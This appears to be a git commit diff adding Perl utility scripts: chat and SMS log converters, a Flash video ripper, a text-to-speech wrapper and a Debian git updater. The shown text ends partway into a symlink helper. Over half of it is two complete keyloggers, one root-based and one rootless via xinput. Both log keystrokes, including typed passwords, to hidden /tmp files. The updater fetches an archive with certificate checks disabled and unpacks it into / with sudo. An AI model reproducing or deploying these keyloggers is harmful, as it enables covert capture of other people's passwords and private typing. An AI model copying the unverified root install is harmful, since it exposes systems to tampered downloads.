parent
aecd848806
commit
73194e1706
9 changed files with 1154 additions and 0 deletions
@ -0,0 +1,74 @@ |
||||
#!/usr/bin/perl |
||||
|
||||
# dumpmsn - Pretty up MSN Messenger chat logs. |
||||
# |
||||
# Usage: dumpmsn *.xml |
||||
# |
||||
# This will create a folder named "html" and put the files there. Give it chat |
||||
# logs from Windows Live Messenger 2011 or similar (no guarantees it |
||||
# will work with other versions). |
||||
# |
||||
# --Kirsle |
||||
# http://sh.kirsle.net/ |
||||
|
||||
use 5.14.0; |
||||
use strict; |
||||
use warnings; |
||||
use XML::Simple; |
||||
|
||||
if (!-d "html") { |
||||
mkdir("html") or die "Can't create folder 'html': $@"; |
||||
} |
||||
|
||||
foreach my $file (@ARGV) { |
||||
say "Dumping $file..."; |
||||
my $xml = XMLin($file, ForceArray => 1); |
||||
my $html = $file; |
||||
$html =~ s/\.xml$//g; |
||||
|
||||
open (my $fh, ">:utf8", "./html/$html.html"); |
||||
print {$fh} <<EOF; |
||||
<!DOCTYPE html> |
||||
<html> |
||||
<head> |
||||
<title>Conversation Log</title> |
||||
<style> |
||||
body { |
||||
background-color: #FFFFFF; |
||||
font-family: Verdana,Arial,Helvetica,sans-serif; |
||||
font-size: small; |
||||
color: #000000; |
||||
} |
||||
</style> |
||||
</head> |
||||
<body> |
||||
EOF |
||||
|
||||
if (ref($xml->{Message}) ne "ARRAY") { |
||||
warn "Not an array for $file"; |
||||
next; |
||||
} |
||||
foreach my $Message (@{$xml->{Message}}) { |
||||
my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName}; |
||||
my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName}; |
||||
my $time = $Message->{Date} . " " . $Message->{Time}; |
||||
my ($text,$style); |
||||
if (ref($Message->{Text}->[0])) { |
||||
$text = $Message->{Text}->[0]->{content}; |
||||
$style = $Message->{Text}->[0]->{Style}; |
||||
} else { |
||||
$text = $Message->{Text}->[0]; |
||||
} |
||||
|
||||
$style //= ""; |
||||
$style = " style=\"$style\"" if length $style > 0; |
||||
|
||||
print {$fh} "<strong>$time</strong><br>\n" |
||||
. "<em>$from says:</em>\n" |
||||
. "<blockquote$style>$text</blockquote>\n" |
||||
. "<hr>\n\n"; |
||||
} |
||||
|
||||
print {$fh} "</body>\n</html>"; |
||||
close($fh); |
||||
} |
@ -0,0 +1,67 @@ |
||||
#!/usr/bin/perl |
||||
|
||||
# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly |
||||
# readable HTML files! |
||||
# |
||||
# Usage: dumpsms <sms-dump.xml> |
||||
# Ex: dumpsms sms-20120629202942.xml |
||||
# |
||||
# It will create a folder "./sms" if it doesn't exist, and output all the logs |
||||
# into that folder. It saves HTML files after the contact name, if available. |
||||
# Logs are opened in append mode, so if you run the script multiple times the |
||||
# logs get appended to the end of the file! |
||||
# |
||||
# --Kirsle |
||||
# http://sh.kirsle.net/ |
||||
|
||||
use 5.14.0; |
||||
use strict; |
||||
use warnings; |
||||
use autodie; |
||||
use XML::Simple; |
||||
|
||||
my $xml = shift or die "$0 <*.xml>"; |
||||
|
||||
mkdir("sms") unless -d "sms"; |
||||
my $ref = XMLin($xml); |
||||
|
||||
foreach my $sms (@{$ref->{sms}}) { |
||||
my $num = $sms->{address}; |
||||
|
||||
my $color = $sms->{type} eq "1" ? "receive" : "send"; |
||||
my $dir = $sms->{type} eq "1" ? "From" : "Sent to"; |
||||
|
||||
my $file = "./sms/$sms->{contact_name}.html"; |
||||
if (!-f $file) { |
||||
open (my $fh, ">", $file); |
||||
print {$fh} "<!DOCTYPE html>\n" |
||||
. "<html>\n" |
||||
. "<head>\n" |
||||
. "<title>Conversation with $sms->{contact_name}</title>\n" |
||||
. "<style>\n" |
||||
. "body {\n" |
||||
. " font-family: Verdana,Arial,sans-serif;\n" |
||||
. " font-size: small;\n" |
||||
. " color: #000000;\n" |
||||
. "}\n" |
||||
. ".receive {\n" |
||||
. " color: #0000FF;\n" |
||||
. "}\n" |
||||
. ".send {\n" |
||||
. " color: #FF0000;\n" |
||||
. "}\n" |
||||
. "</style>\n" |
||||
. "</head>\n" |
||||
. "<body>\n\n"; |
||||
close($fh); |
||||
} |
||||
|
||||
open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html"); |
||||
print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n" |
||||
. "<strong>$dir</strong> $sms->{contact_name} - $num\n" |
||||
. "<blockquote>$sms->{body}</blockquote>\n" |
||||
. "<hr>\n"; |
||||
close($fh); |
||||
} |
||||
|
||||
say "Wrote logs to ./sms"; |
@ -0,0 +1,68 @@ |
||||
#!/usr/bin/perl -w |
||||
|
||||
# flashget - Download Flash videos from any hosting site. |
||||
# Usage: flashget [output directory default $HOME] |
||||
# Author: Kirsle |
||||
# http://sh.kirsle.net/ |
||||
|
||||
# This script doesn't care what your flash player is called. It just looks for |
||||
# any process that owns a /tmp/Flash####### file and copies it. It works for |
||||
# both the "old style" Netscape Flash plugin (for Firefox and Chromium) and the |
||||
# Pepper API style used in Google Chrome. |
||||
|
||||
use strict; |
||||
use warnings; |
||||
use File::Copy; |
||||
|
||||
my $home = shift @ARGV || (defined $ENV{HOME} ? $ENV{HOME} : "."); |
||||
|
||||
print "flashget - Searching for Flash videos to rip. For best results, make sure\n" |
||||
. "you FULLY BUFFER the video first in your web browser.\n\n"; |
||||
|
||||
my $count = 0; |
||||
|
||||
# First, just do a dumb scan of everything in /proc that we have read-access to |
||||
# and look for Flash files belonging to either Chrome or the Firefox-style Flash |
||||
# plugin. Note that the Chrome Flash plugin locks us out of its file descriptors |
||||
# unless we run with root privileges. |
||||
opendir (my $proc, "/proc"); |
||||
foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) { |
||||
# Skip PID's we can't read from. |
||||
next unless -r "/proc/$pid/fd"; |
||||
|
||||
# Look for flash videos. |
||||
opendir (my $fd, "/proc/$pid/fd"); |
||||
foreach my $id (sort(grep(!/^\./, readdir($fd)))) { |
||||
my $file = "/proc/$pid/fd/$id"; # Make it an abs path. |
||||
if (-l $file) { |
||||
my $link = readlink($file); |
||||
|
||||
# Look for a Flash video link. |
||||
$link =~ s/\s*\(deleted\)//g; # Remove the " (deleted)" extensions. |
||||
if ($link =~ m{^/tmp/((?:Flash|FreshTemp).*?)$} || $link =~ m{Shockwave Flash/\.(.+?)$}) { |
||||
# Copy it. |
||||
my $dest = "$home/$1.flv"; |
||||
print "Recover from PID $pid: $id -> $dest\n"; |
||||
copy($file, $dest) or print "ERR: Couldn't copy to $dest: $@\n"; |
||||
$count++; |
||||
} |
||||
} |
||||
} |
||||
closedir($fd); |
||||
} |
||||
closedir ($proc); |
||||
|
||||
print "\nRecovered $count Flash video(s).\n"; |
||||
|
||||
# Do a quick check for Google Chrome Flash processes that we didn't manage to |
||||
# get files from, to notify the user that they may want to re-run as root. |
||||
if ($> != 0) { |
||||
my $ps = `ps aux | grep ppapi | grep -v grep`; |
||||
if ($ps) { |
||||
print "I found a few Google Chrome Flash plugins running, but I need\n" |
||||
. "root permissions to read those files (unless you saw some files\n" |
||||
. "named like 'com.google' above). Run this script as root to get\n" |
||||
. "Flash videos out of Google Chrome.\n"; |
||||
print "$ps\n"; |
||||
} |
||||
} |
@ -0,0 +1,27 @@ |
||||
#!/usr/bin/perl |
||||
|
||||
# gsay - Text to Speech using Google |
||||
# Usage: gsay <message> |
||||
# |
||||
# --Kirsle |
||||
# http://sh.kirsle.net/ |
||||
|
||||
use strict; |
||||
use warnings; |
||||
use URI::Escape; |
||||
|
||||
if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) { |
||||
die "Usage: $0 <message>\n"; |
||||
} |
||||
|
||||
my $message = uri_escape(join(" ", @ARGV)); |
||||
|
||||
# Check for mplayer. |
||||
chomp(my $mplayer = `which mplayer 2>/dev/null`); |
||||
if ($? || !$mplayer) { |
||||
die "Couldn't find `mplayer` - please install it!\n"; |
||||
} |
||||
|
||||
# Fork a background process to speak and exit immediately. |
||||
exit if fork(); |
||||
exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1"); |
@ -0,0 +1,370 @@ |
||||
#!/usr/bin/perl -w |
||||
|
||||
use strict; |
||||
use warnings; |
||||
use threads; |
||||
use threads::shared; |
||||
|
||||
# keylog - A simple key logger. |
||||
# Usage: keylog <path-to-device-node> |
||||
# Example: keylog /dev/input/event0 |
||||
# |
||||
# The user you run this as should have read access to the device node. Most of |
||||
# the time, this means you'll need to run this as root. |
||||
# |
||||
# To find out which device node your keyboard is using, run the command |
||||
# `cat /proc/bus/input/devices` and search for your keyboard. There should be |
||||
# a line by your keyboard's info that looks like "Handlers=kbd event4" and |
||||
# in this case the input device is /dev/input/event4. Update this for any |
||||
# other event number that you see instead. |
||||
# |
||||
# This program prints ALL key events to the terminal (including the key up/down |
||||
# events for all keys). This information probably isn't directly useful to you, |
||||
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines |
||||
# it logs are probably the most useful to you; if the user hits the backspace |
||||
# key, the last key they typed is deleted, etc.. so if a user is typing their |
||||
# password and makes a typo and finishes typing, you'll get their full password. |
||||
# |
||||
# The buffer used for this is saved after 2 seconds of idle time in their typing, |
||||
# or when a "separator key" is entered (a separator key is: Enter, Return, or |
||||
# Tab). Each buffer is saved to its own line in the log file. If the user is a |
||||
# slow typer, one "sentence" may actually span multiple lines, so you'll have to |
||||
# figure this out yourself. |
||||
# |
||||
# This is just a proof of concept and should be used for educational purposes |
||||
# only. |
||||
# |
||||
# --Kirsle |
||||
# http://sh.kirsle.net/ |
||||
|
||||
# Modify the die handler so we can exit on error messages |
||||
# more gracefully. |
||||
$SIG{__DIE__} = sub { |
||||
my $err = shift; |
||||
$err =~ s/ at .+ line .+\.//g; |
||||
print $err; |
||||
exit(1); |
||||
}; |
||||
|
||||
# Get the device node from command line. |
||||
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0"; |
||||
my $DEV = $ARGV[0]; |
||||
|
||||
# Must run this as root, or be able to read from the device. |
||||
if (!-r $DEV) { |
||||
die "Can't read from $DEV; got root?"; |
||||
} |
||||
|
||||
# Hash to keep track of modifier keys. |
||||
our $mod = { |
||||
shift => 0, |
||||
alt => 0, |
||||
ctrl => 0, |
||||
}; |
||||
|
||||
# This scalar holds the "typing buffer". If they pause typing for 2 seconds, |
||||
# or hit a "separator key" (return/enter or tab), the buffer is written to disk |
||||
# in the log file. The backspace key deletes text in the buffer, etc. This way |
||||
# you can see basically what they typed, without having to parse through the |
||||
# key up/down events yourself. |
||||
my $buffer : shared; |
||||
my $lastkey : shared; # Holds the time() of the last key event seen. |
||||
my $writenow : shared; # The key parser can force the buffer to write now. |
||||
$buffer = ''; |
||||
$lastkey = 0; |
||||
$writenow = 0; |
||||
|
||||
# Spawn a thread to watch the buffer and write it to disk. This way the |
||||
# blocking file reads won't prevent the buffer from being written. |
||||
my $bufthread = threads->create (\&buffer); |
||||
|
||||
# Open the device for reading. |
||||
open (FILE, $DEV); |
||||
while (1) { |
||||
# Read the next keypress event. |
||||
my $line = ""; |
||||
sysread(FILE, $line, 16); |
||||
my @vals = split(//, $line); |
||||
|
||||
if (ord($vals[10]) != 0) { |
||||
# Interpret the event. |
||||
interpret(ord($vals[10]),ord($vals[12])); |
||||
} |
||||
} |
||||
close (FILE); |
||||
|
||||
# This is the buffer writing thread. |
||||
sub buffer { |
||||
while (1) { |
||||
select(undef,undef,undef,0.1); |
||||
|
||||
# Was there a 2 second delay from the last event? |
||||
if ($lastkey == 0) { |
||||
next; |
||||
} |
||||
|
||||
if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) { |
||||
# Write it to disk. |
||||
print "Writing buffer to disk\n"; |
||||
open (WRITE, ">>/tmp/.keylog"); |
||||
print WRITE ts() . "$buffer\n"; |
||||
close (WRITE); |
||||
$buffer = ''; |
||||
$lastkey = 0; |
||||
$writenow = 0; |
||||
} |
||||
} |
||||
} |
||||
|
||||
# Interpret keycode events from the device node. |
||||
sub interpret { |
||||
my ($keycode,$state) = @_; |
||||
|
||||
# Store the last keypress time. |
||||
$lastkey = time(); |
||||
|
||||
# Qwerty keyboard map. |
||||
qwerty($keycode,$state); |
||||
return; |
||||
|
||||
# This code doesn't run; if you want it to run, |
||||
# comment out the "return" just above these |
||||
# comments. This is for debugging purposes. |
||||
print "[$keycode] "; |
||||
if ($state == 0) { |
||||
print "up\n"; |
||||
} |
||||
elsif ($state == 1) { |
||||
print "down\n"; |
||||
} |
||||
elsif ($state == 2) { |
||||
print "repeat\n"; |
||||
} |
||||
else { |
||||
print "\n"; |
||||
} |
||||
} |
||||
|
||||
# Interpret keycodes based on QWERTY key map. |
||||
sub qwerty { |
||||
my ($code,$state) = @_; |
||||
return unless $state >= 0 && $state <= 2; |
||||
|
||||
# Handle the modifier keys first. |
||||
if ($code == 42 || $code == 54) { |
||||
# Shift key. |
||||
$mod->{shift} = ($state == 1 ? 1 : 0); |
||||
} |
||||
elsif ($code == 29 || $code == 97) { |
||||
# Ctrl key. |
||||
$mod->{ctrl} = ($state == 1 ? 1 : 0); |
||||
} |
||||
elsif ($code == 56 || $code == 100) { |
||||
# Alt key. |
||||
$mod->{alt} = ($state == 1 ? 1 : 0); |
||||
} |
||||
|
||||
# Qwery keys. |
||||
my %keys = ( |
||||
# Keys that map to two different characters (with shift |
||||
# key held down) are an array; element 0 is the non-shifted |
||||
# character, element 1 is the shifted character. |
||||
|
||||
# number row |
||||
41 => [ '`', '~' ], |
||||
2 => [ '1', '!' ], |
||||
3 => [ '2', '@' ], |
||||
4 => [ '3', '#' ], |
||||
5 => [ '4', '$' ], |
||||
6 => [ '5', '%' ], |
||||
7 => [ '6', '^' ], |
||||
8 => [ '7', '&' ], |
||||
9 => [ '8', '*' ], |
||||
10 => [ '9', '(' ], |
||||
11 => [ '0', ')' ], |
||||
12 => [ '-', '_' ], |
||||
13 => [ '=', '+' ], |
||||
|
||||
# qwerty row |
||||
16 => [ 'q', 'Q' ], |
||||
17 => [ 'w', 'W' ], |
||||
18 => [ 'e', 'E' ], |
||||
19 => [ 'r', 'R' ], |
||||
20 => [ 't', 'T' ], |
||||
21 => [ 'y', 'Y' ], |
||||
22 => [ 'u', 'U' ], |
||||
23 => [ 'i', 'I' ], |
||||
24 => [ 'o', 'O' ], |
||||
25 => [ 'p', 'P' ], |
||||
26 => [ '[', '{' ], |
||||
27 => [ ']', '}' ], |
||||
43 => [ '\\', '|' ], |
||||
|
||||
# asdf row |
||||
30 => [ 'a', 'A' ], |
||||
31 => [ 's', 'S' ], |
||||
32 => [ 'd', 'D' ], |
||||
33 => [ 'f', 'F' ], |
||||
34 => [ 'g', 'G' ], |
||||
35 => [ 'h', 'H' ], |
||||
36 => [ 'j', 'J' ], |
||||
37 => [ 'k', 'K' ], |
||||
38 => [ 'l', 'L' ], |
||||
39 => [ ';', ':' ], |
||||
40 => [ "'", '"' ], |
||||
|
||||
# zxcv row |
||||
44 => [ 'z', 'Z' ], |
||||
45 => [ 'x', 'X' ], |
||||
46 => [ 'c', 'C' ], |
||||
47 => [ 'v', 'V' ], |
||||
48 => [ 'b', 'B' ], |
||||
49 => [ 'n', 'N' ], |
||||
50 => [ 'm', 'M' ], |
||||
51 => [ ',', '<' ], |
||||
52 => [ '.', '>' ], |
||||
53 => [ '/', '?' ], |
||||
|
||||
# Other keys |
||||
14 => 'Backspace', |
||||
28 => 'Return', |
||||
96 => 'Enter', |
||||
15 => 'Tab', |
||||
57 => ' ', |
||||
58 => 'Caps Lock', |
||||
69 => 'Num Lock', |
||||
70 => 'Scroll Lock', |
||||
42 => 'L-Shift', |
||||
54 => 'R-Shift', |
||||
29 => 'L-Ctrl', |
||||
97 => 'R-Ctrl', |
||||
56 => 'L-Alt', |
||||
100 => 'R-Alt', |
||||
125 => 'L-Super', |
||||
126 => 'R-Super', |
||||
127 => 'Menu', |
||||
1 => 'Escape', |
||||
59 => 'F1', |
||||
60 => 'F2', |
||||
61 => 'F3', |
||||
62 => 'F4', |
||||
63 => 'F5', |
||||
64 => 'F6', |
||||
65 => 'F7', |
||||
66 => 'F8', |
||||
67 => 'F9', |
||||
68 => 'F10', |
||||
87 => 'F11', |
||||
88 => 'F12', |
||||
110 => 'Insert', |
||||
102 => 'Home', |
||||
107 => 'End', |
||||
104 => 'Pg Up', |
||||
109 => 'Pg Dn', |
||||
111 => 'Del', |
||||
99 => 'Print Screen', |
||||
119 => 'Pause', |
||||
103 => 'Up', |
||||
108 => 'Down', |
||||
106 => 'Right', |
||||
105 => 'Left', |
||||
71 => [ 'Num-7', 'Num-Home' ], |
||||
72 => [ 'Num-8', 'Num-Up' ], |
||||
73 => [ 'Num-9', 'Num-Pg Up' ], |
||||
75 => [ 'Num-4', 'Num-Left' ], |
||||
76 => 'Num-5', |
||||
77 => [ 'Num-6', 'Num-Right' ], |
||||
79 => [ 'Num-1', 'Num-End' ], |
||||
80 => [ 'Num-2', 'Num-Down' ], |
||||
81 => [ 'Num-3', 'Num-Pg Dn' ], |
||||
82 => [ 'Num-0', 'Num-Insert' ], |
||||
96 => 'Num-/', |
||||
55 => 'Num-*', |
||||
74 => 'Num--', |
||||
78 => 'Num-+', |
||||
93 => [ 'Num-.', 'Num-Del' ], |
||||
); |
||||
|
||||
# See their matching keypress. |
||||
my $keypress = ''; |
||||
foreach my $key (sort keys %keys) { |
||||
if ($code == $key) { |
||||
# We have a match! Does the key have a shift-modifier? |
||||
if (ref($keys{$key}) eq "ARRAY") { |
||||
if ($mod->{shift}) { |
||||
$keypress = $keys{$key}->[1]; |
||||
} |
||||
else { |
||||
$keypress = $keys{$key}->[0]; |
||||
} |
||||
} |
||||
else { |
||||
$keypress = $keys{$key}; |
||||
} |
||||
last; |
||||
} |
||||
} |
||||
|
||||
# Add it to the buffer. |
||||
if ($state == 1) { |
||||
if (length $keypress > 1) { |
||||
if ($keypress eq 'Backspace') { |
||||
# Delete the last character off the end of their buffer. |
||||
$buffer = substr($buffer,0,(length($buffer) - 1)); |
||||
} |
||||
else { |
||||
# Add the special key with {brackets} around it. |
||||
$buffer .= "{$keypress}"; |
||||
} |
||||
} |
||||
else { |
||||
$buffer .= $keypress; |
||||
} |
||||
} |
||||
|
||||
# If they hit a separator key, save the buffer right now. |
||||
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) { |
||||
$writenow = 1; |
||||
} |
||||
|
||||
# Print their key. |
||||
if ($mod->{shift}) { |
||||
$keypress = "(Shift) $keypress"; |
||||
} |
||||
if ($mod->{ctrl}) { |
||||
$keypress = "(Ctrl) $keypress"; |
||||
} |
||||
if ($mod->{alt}) { |
||||
$keypress = "(Alt) $keypress"; |
||||
} |
||||
|
||||
if ($state == 1) { |
||||
$keypress = "+ $keypress"; |
||||
} |
||||
else { |
||||
$keypress = "- $keypress"; |
||||
} |
||||
|
||||
print "$code $keypress\n"; |
||||
|
||||
# Log the raw keypresses too. |
||||
open (RAW, ">>/tmp/.rawkeylog"); |
||||
print RAW ts() . "$code $keypress\n"; |
||||
close (RAW); |
||||
} |
||||
|
||||
sub ts { |
||||
my @time = localtime(); |
||||
return "[" . join(" ", |
||||
join("-", |
||||
sprintf("%04d", $time[5] + 1900), |
||||
sprintf("%02d", $time[4] + 1), |
||||
sprintf("%02d", $time[3]), |
||||
), |
||||
join(":", |
||||
sprintf("%02d", $time[2]), |
||||
sprintf("%02d", $time[1]), |
||||
sprintf("%02d", $time[0]), |
||||
), |
||||
) . "] "; |
||||
} |
@ -0,0 +1,292 @@ |
||||
#!/usr/bin/perl -w |
||||
|
||||
# keylog2 - a rootless keylogger that only requires an X server and the xinput |
||||
# command (provided by xorg-x11-apps on Fedora). You'll also need to install |
||||
# the Perl module IO::Pty::Easy. |
||||
# |
||||
# Unlike my first keylogger proof-of-concept, this one doesn't require root |
||||
# privileges because it just uses the X Window System. Therefore it only |
||||
# catches key inputs made to graphical programs on the same X server that the |
||||
# keylogger runs on. |
||||
# |
||||
# How it works: running `xinput list` lists all your X input devices. There's |
||||
# a keyboard device named "AT (something)", mine is "AT Translated Set 2 |
||||
# keyboard". Get the ID from the line that says this and then run |
||||
# `xinput test <id>` and it will start dumping keystroke information as the |
||||
# user types keys into ANY graphical app. |
||||
# |
||||
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error, |
||||
# so no guarantees it will work for everybody. This is just another proof of |
||||
# concept anyway, and shouldn't be used for malicious purposes. |
||||
# |
||||
# Under the default configuration, the log file is written to /tmp/.keylog |
||||
# and only logs key release events, except for modifier keys (Shift, Ctrl, |
||||
# Alt, and Super (Windows key)) where it will also log the Key Down event |
||||
# (so Alt-Tabbing makes more sense in the log, for example). You can |
||||
# optionally configure it to log EVERY key down event if you'd like, though. |
||||
# |
||||
# Again, this is just a proof of concept and should be used for educational |
||||
# purposes only, and not for anything malicious. |
||||
# |
||||
# --Kirsle |
||||
# http://sh.kirsle.net/ |
||||
|
||||
use strict; |
||||
use warnings; |
||||
use IO::Pty::Easy; |
||||
use IO::Handle; |
||||
|
||||
########################## |
||||
# Configuration # |
||||
########################## |
||||
|
||||
my $conf = { |
||||
# Log files to write keys to |
||||
logfile => "/tmp/.keylog", |
||||
|
||||
# By default only key-releases are logged. Log key-presses too? |
||||
log_keydown => 0, |
||||
}; |
||||
|
||||
########################## |
||||
# End Configuration # |
||||
########################## |
||||
|
||||
# X11 display. |
||||
$ENV{DISPLAY} ||= ":0.0"; |
||||
|
||||
# Make sure we have xinput. |
||||
if (system("which xinput > /dev/null") != 0) { |
||||
print "You require the `xinput` command for this keylogger to work.\n"; |
||||
exit(1); |
||||
} |
||||
|
||||
# Get the input list. |
||||
my @inputs = `xinput list`; |
||||
|
||||
# Find the AT keyboard. |
||||
my $id; |
||||
foreach my $line (@inputs) { |
||||
$line =~ s/^[\s\t]+//g; |
||||
$line =~ s/[\s\t]+$//g; |
||||
$line =~ s/[\x0D\x0A]+//g; |
||||
next unless length $line; |
||||
if ($line =~ /keyboard/i && $line =~ /. AT/) { |
||||
($id) = ($line =~ /id=(\d+)/)[0]; |
||||
} |
||||
} |
||||
if (!defined $id) { |
||||
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n"; |
||||
exit(1); |
||||
} |
||||
|
||||
print "Keyboard ID: $id\n"; |
||||
|
||||
# Track state of modifier keys. |
||||
our %mod = ( |
||||
'shift' => 0, |
||||
'ctrl' => 0, |
||||
'alt' => 0, |
||||
'super' => 0, |
||||
); |
||||
|
||||
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell. |
||||
my $tty = IO::Pty::Easy->new(); |
||||
print "Watching `xinput test $id`\n"; |
||||
$tty->spawn("xinput test $id"); |
||||
|
||||
while ($tty->is_active) { |
||||
my $data = $tty->read(); |
||||
my @lines = split(/\n/, $data); |
||||
foreach my $line (@lines) { |
||||
# Key event? |
||||
chomp $line; |
||||
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) { |
||||
event($1, $2); |
||||
} |
||||
} |
||||
} |
||||
|
||||
# Handle key events |
||||
sub event { |
||||
my ($event,$sym) = @_; |
||||
|
||||
# Only QWERTY keyboards supported. |
||||
my $key = kbd_qwerty($event,$sym); |
||||
|
||||
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n"; |
||||
|
||||
# Log it? |
||||
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) || |
||||
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) { |
||||
my @time = localtime(time()); |
||||
my $ts = join(" ", |
||||
join("-", |
||||
sprintf("%4d", $time[5] + 1900), |
||||
sprintf("%2d", $time[4] + 1), |
||||
sprintf("%2d", $time[3]), |
||||
), |
||||
join(":", |
||||
sprintf("%2d", $time[2]), |
||||
sprintf("%2d", $time[1]), |
||||
sprintf("%2d", $time[0]), |
||||
), |
||||
); |
||||
|
||||
open (my $log, ">>", $conf->{logfile}); |
||||
print $log "[$ts] " |
||||
. ($event eq "release" ? "<Release>" : "<Press>") |
||||
. " " |
||||
. ($key eq " " ? "{space}" : $key) |
||||
. "\n"; |
||||
close ($log); |
||||
} |
||||
} |
||||
|
||||
# QWERTY keysym finder |
||||
sub kbd_qwerty { |
||||
my ($event,$sym) = @_; |
||||
|
||||
# Modifier keys. |
||||
my %modkeys = ( |
||||
50 => 'shift', # L Shift |
||||
62 => 'shift', # R Shift |
||||
37 => 'ctrl', # L Ctrl |
||||
105 => 'ctrl', # R Ctrl |
||||
64 => 'alt', # L Alt |
||||
108 => 'alt', # R Alt |
||||
133 => 'super', # L Super |
||||
); |
||||
if (exists $modkeys{$sym}) { |
||||
my $name = $modkeys{$sym}; |
||||
$mod{$name} = $event eq "press" ? 1 : 0; |
||||
return "{\u$name}"; |
||||
} |
||||
|
||||
# Qwerty keys. |
||||
my %keys = ( |
||||
# qwerty row |
||||
24 => [ 'q', 'Q' ], # normal, shift key |
||||
25 => [ 'w', 'W' ], |
||||
26 => [ 'e', 'E' ], |
||||
27 => [ 'r', 'R' ], |
||||
28 => [ 't', 'T' ], |
||||
29 => [ 'y', 'Y' ], |
||||
30 => [ 'u', 'U' ], |
||||
31 => [ 'i', 'I' ], |
||||
32 => [ 'o', 'O' ], |
||||
33 => [ 'p', 'P' ], |
||||
34 => [ '[', '{' ], |
||||
35 => [ ']', '}' ], |
||||
51 => [ "\\", '|' ], |
||||
|
||||
# asdf row |
||||
38 => [ 'a', 'A' ], |
||||
39 => [ 's', 'S' ], |
||||
40 => [ 'd', 'D' ], |
||||
41 => [ 'f', 'F' ], |
||||
42 => [ 'g', 'G' ], |
||||
43 => [ 'h', 'H' ], |
||||
44 => [ 'j', 'J' ], |
||||
45 => [ 'k', 'K' ], |
||||
46 => [ 'l', 'L' ], |
||||
47 => [ ';', ':' ], |
||||
48 => [ '"', "'" ], |
||||
36 => "{Return}", |
||||
|
||||
# zxcv row |
||||
52 => [ 'z', 'Z' ], |
||||
53 => [ 'x', 'X' ], |
||||
54 => [ 'c', 'C' ], |
||||
55 => [ 'v', 'V' ], |
||||
56 => [ 'b', 'B' ], |
||||
57 => [ 'n', 'N' ], |
||||
58 => [ 'm', 'M' ], |
||||
59 => [ ',', '<' ], |
||||
60 => [ '.', '>' ], |
||||
61 => [ '/', '?' ], |
||||
|
||||
# number row |
||||
49 => [ '`', '~' ], |
||||
10 => [ '1', '!' ], |
||||
11 => [ '2', '@' ], |
||||
12 => [ '3', '#' ], |
||||
13 => [ '4', '$' ], |
||||
14 => [ '5', '%' ], |
||||
15 => [ '6', '^' ], |
||||
16 => [ '7', '&' ], |
||||
17 => [ '8', '*' ], |
||||
18 => [ '9', '(' ], |
||||
19 => [ '0', ')' ], |
||||
20 => [ '-', '_' ], |
||||
21 => [ '+', '=' ], |
||||
|
||||
# space bar |
||||
65 => ' ', |
||||
|
||||
# number pad |
||||
90 => '{Num-0}', |
||||
87 => '{Num-1}', |
||||
88 => '{Num-2}', |
||||
89 => '{Num-3}', |
||||
83 => '{Num-4}', |
||||
84 => '{Num-5}', |
||||
85 => '{Num-6}', |
||||
79 => '{Num-7}', |
||||
80 => '{Num-8}', |
||||
81 => '{Num-9}', |
||||
106 => '{Num-/}', |
||||
63 => '{Num-*}', |
||||
82 => '{Num--}', |
||||
86 => '{Num-+}', |
||||
|
||||
# F keys |
||||
67 => '{F1}', |
||||
68 => '{F2}', |
||||
69 => '{F3}', |
||||
70 => '{F4}', |
||||
71 => '{F5}', |
||||
72 => '{F6}', |
||||
73 => '{F7}', |
||||
74 => '{F8}', |
||||
75 => '{F9}', |
||||
76 => '{F10}', |
||||
95 => '{F11}', |
||||
96 => '{F12}', |
||||
|
||||
# Misc |
||||
9 => '{Esc}', |
||||
22 => '{Backspace}', |
||||
77 => '{Num Lock}', |
||||
107 => '{Print Scr}', |
||||
118 => '{Insert}', |
||||
119 => '{Delete}', |
||||
110 => '{Home}', |
||||
112 => '{Pg Up}', |
||||
117 => '{Pg Dn}', |
||||
115 => '{End}', |
||||
111 => '{Up}', |
||||
116 => '{Down}', |
||||
113 => '{Left}', |
||||
114 => '{Right}', |
||||
135 => '{Menu}', |
||||
23 => '{Tab}', |
||||
66 => '{Caps Lock}', |
||||
); |
||||
|
||||
if (exists $keys{$sym}) { |
||||
if (ref($keys{$sym})) { |
||||
print "(shift key: $mod{shift})\n"; |
||||
if ($mod{shift}) { |
||||
return $keys{$sym}->[1]; |
||||
} |
||||
else { |
||||
return $keys{$sym}->[0]; |
||||
} |
||||
} |
||||
return $keys{$sym}; |
||||
} |
||||
else { |
||||
return "{Unknown: $sym}"; |
||||
} |
||||
} |
@ -0,0 +1,9 @@ |
||||
#!/usr/bin/perl |
||||
|
||||
# Get some updated software on Debian Lenny, especially `git`. |
||||
|
||||
if (!-d "/opt/git") { |
||||
print "Fetching latest git\n"; |
||||
system(qw(wget --no-check-certificate https://rpm.kirsle.net/static-bin/git/lenny/latest.tar.gz -O git-lenny.tar.gz)); |
||||
system(qw(sudo tar -xzvf git-lenny.tar.gz -C /)); |
||||
} |
@ -0,0 +1,80 @@ |
||||
#!/usr/bin/perl |
||||
|
||||
use strict; |
||||
use warnings; |
||||
use Cwd; |
||||
|
||||
# Make symlinks from your git-project repo into the system. This is only |
||||
# designed to work with Media Temple's git-project workflow. |
||||
# |
||||
# Usage: sudo link-stuff.pl /path/to/git/project |
||||
# |
||||
# The git-project root should have top-level folders such as `perl-libs`, with |
||||
# a path convention like e.g. `perl-libs/$NAME/lib/**/*.pm` -- this script will |
||||
# attempt to find system-installed counterparts and symlink them to the file |
||||
# from your git repo. |
||||
# |
||||
